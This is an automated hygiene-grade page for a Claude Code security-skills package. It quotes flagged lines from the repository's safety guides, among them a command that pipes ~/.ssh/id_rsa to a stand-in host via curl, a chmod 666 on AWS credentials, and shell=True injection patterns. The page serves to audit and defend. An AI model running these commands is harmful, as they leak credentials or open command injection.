Claude Code, Skill
Catpilot Ai Guardrails
Two security skills in the Agent Skills format: catpilot-safe-building, eight plain-language checkpoints for a person building with an AI assistant, and catpilot-security-core, nine engineering components for coding agents.
Compatibility: Not stated.
Grade D
Two or more Medium findings, or a High. Only try it in a sandbox.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
NETWORK_HOST_FROM_INPUT SECRETS_PATH_CREDENTIAL
Why this grade
- NETWORK_HOST_FROM_INPUT Medium
A file takes a URL or endpoint as input and has no fixed host list.
deploy/verify.sh, line 12
curl -sS -m 20 -D - "https://$HOST/health" | grep -iE '^(HTTP|cache-control|cf-cache-status|server|\{)' - SECRETS_PATH_CREDENTIAL Medium
Mentions a credential store path (~/.ssh, id_rsa, .npmrc, .aws/credentials, credentials.json, .netrc).
skills/catpilot-security-core/references/docker-safety.md, line 148
docker build --secret id=npm_token,src=$HOME/.npmrc-token .
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Note
requests shell access. The manifest names this permission.
PERMISSION_SHELL_DECLARED
skills/catpilot-security-core/references/language-baseline.md, line 142
subprocess.run(["grep", pattern, "file.txt"], check=True)
skills/catpilot-security-core/references/language-baseline.md, line 330
subprocess.call(f"grep {pattern} log.txt", shell=True)
src/skills/core/language-baseline/SKILL.md, line 212
subprocess.run(["grep", pattern, "file.txt"], check=True)
Show more
src/skills/core/language-baseline/SKILL.md, line 400
subprocess.call(f"grep {pattern} log.txt", shell=True)
FULL_GUARDRAILS.md, line 729
os.system(f"grep {pattern} file.txt")
FULL_GUARDRAILS.md, line 730
subprocess.call(f"echo {user_input}", shell=True)
FULL_GUARDRAILS.md, line 734
subprocess.run(['grep', pattern, 'file.txt']) // Python, no shell=True
copilot-instructions.md, line 99
- ❌ **NEVER** use `shell=True` in subprocess (`subprocess.run(..., shell=True)`).
Install and update
Pass
No install-time script found, and dependencies are pinned or absent.
Network
Concern
can reach a host that is not written as a fixed address. can reach api.clearlead.example. The description does not name that host. can reach api.talentrank.example. The description does not name that host. can reach paste.example.com. The description does not name that host. can reach collector.example.com. The description does not name that host. accepts a host from input, with no fixed list in this file.
NETWORK_HOST_FROM_INPUT NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST
deploy/verify.sh, line 12
curl -sS -m 20 -D - "https://$HOST/health" | grep -iE '^(HTTP|cache-control|cf-cache-status|server|\{)'
deploy/verify.sh, line 14
curl -sS -m 20 -o /dev/null -w 'HTTP %{http_code}\n' "https://$HOST/"
deploy/verify.sh, line 16
curl -sS -m 20 -w '\nHTTP %{http_code}\n' -X POST "https://$HOST/mcp" "${JSON_HEADERS[@]}" -d "$INIT" | grep -oE '"serverInfo":\{[^}]*\}|^HTTP .*'
Show more
deploy/verify.sh, line 18
curl -sS -m 20 -o /dev/null -w 'HTTP %{http_code}\n' -X POST "https://$HOST/mcp" "${JSON_HEADERS[@]}" -d '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}'
deploy/verify.sh, line 20
curl -sS -m 20 -o /dev/null -w 'HTTP %{http_code}\n' "https://$HOST/admin"
deploy/verify.sh, line 23
curl -sS -m 20 -o /dev/null -w 'HTTP %{http_code}\n' -X POST "https://$ORIGIN/mcp" "${JSON_HEADERS[@]}" -d "$INIT"
deploy/verify.sh, line 26
codes=$(for i in $(seq 1 80); do curl -sS -m 10 -o /dev/null -w '%{http_code}\n' "https://$HOST/health" & done; wait)
deploy/azure/deploy.sh, line 56
ranges = json.load(urllib.request.urlopen(req, timeout=20))["result"]["ipv4_cidrs"]
skills/catpilot-security-core/references/local-cli-safety.md, line 254
cat ~/.ssh/id_rsa | curl -X POST https://example.com/debug --data-binary @-
skills/catpilot-security-core/references/local-cli-safety.md, line 353
curl -fsSL -o /tmp/install.sh https://example.com/install.sh
skills/catpilot-security-core/references/supply-chain.md, line 361
curl -fsSL -o /tmp/install.sh https://example.com/install.sh
src/skills/core/local-cli-safety/SKILL.md, line 310
cat ~/.ssh/id_rsa | curl -X POST https://example.com/debug --data-binary @-
src/skills/core/local-cli-safety/SKILL.md, line 409
curl -fsSL -o /tmp/install.sh https://example.com/install.sh
src/skills/core/supply-chain/SKILL.md, line 418
curl -fsSL -o /tmp/install.sh https://example.com/install.sh
frameworks/agentic/FULL_AGENTIC.md, line 523
requests.post(f"http://localhost:18789/hooks/agent", json={
frameworks/python/FULL_PYTHON.md, line 140
requests.get("https://example.com")
Secrets
Concern
reads a credential or environment file.
SECRETS_ENV_READ SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
deploy/cloudflare/configure.py, line 85
token = os.environ.get("CLOUDFLARE_TOKEN")
evals/reference-examples/2026-09-15/stripe-webhook-key/safe/charges.js, line 2
const stripe = require("stripe")(process.env.STRIPE_SECRET_KEY);
skills/catpilot-security-core/references/docker-safety.md, line 148
docker build --secret id=npm_token,src=$HOME/.npmrc-token .
Show more
evals/reference-examples/2026-09-15/stripe-webhook-key/safe/charges.js, line 5
if (!process.env.STRIPE_SECRET_KEY) {
skills/catpilot-security-core/references/cloud-cli-safety.md, line 184
--query "properties.template.containers[0].env[].{name:name,secretRef:secretRef}" -o json
skills/catpilot-security-core/references/cloud-cli-safety.md, line 263
--format='value(spec.template.spec.containers[0].env)' > current-env.txt
skills/catpilot-security-core/references/docker-safety.md, line 246
COPY .env .
skills/catpilot-security-core/references/docker-safety.md, line 386
--secret id=npm_token,src=$HOME/.npmrc-token \
skills/catpilot-security-core/references/local-cli-safety.md, line 220
chmod 644 ~/.ssh/id_rsa
skills/catpilot-security-core/references/local-cli-safety.md, line 221
chmod 666 ~/.aws/credentials
skills/catpilot-security-core/references/local-cli-safety.md, line 254
cat ~/.ssh/id_rsa | curl -X POST https://example.com/debug --data-binary @-
skills/catpilot-security-core/references/secret-blocking.md, line 177
const apiKey = process.env.STRIPE_API_KEY;
skills/catpilot-security-core/references/secret-blocking.md, line 185
apiKey := os.Getenv("STRIPE_API_KEY")
skills/catpilot-security-core/references/secret-blocking.md, line 228
const client = new SecretClient(process.env.KEY_VAULT_URL!, credential);
src/skills/core/secret-blocking/SKILL.md, line 227
const apiKey = process.env.STRIPE_API_KEY;
src/skills/core/secret-blocking/SKILL.md, line 235
apiKey := os.Getenv("STRIPE_API_KEY")
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Note
the file cap was reached before every file was read.
OBFUSCATION_FILE_CAP_REACHED
tests/test_cloud_cli_env_patch.py, line 1
"""The Azure environment-patch planner shipped with cloud-cli-safety: pure, no cloud calls, synthetic data only."""
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit 9cd9ed86e1b9. requests shell access. The manifest names this permission. can reach a host that is not written as a fixed address. can reach api.clearlead.example. The description does not name that host. can reach api.talentrank.example. The description does not name that host. can reach paste.example.com. The description does not name that host. can reach collector.example.com. The description does not name that host. accepts a host from input, with no fixed list in this file. reads a credential or environment file. the file cap was reached before every file was read.
Date and source
Date checked:
github.com
Commit graded: 9cd9ed86e1b94f5afc1d21da0118270d43126b1b
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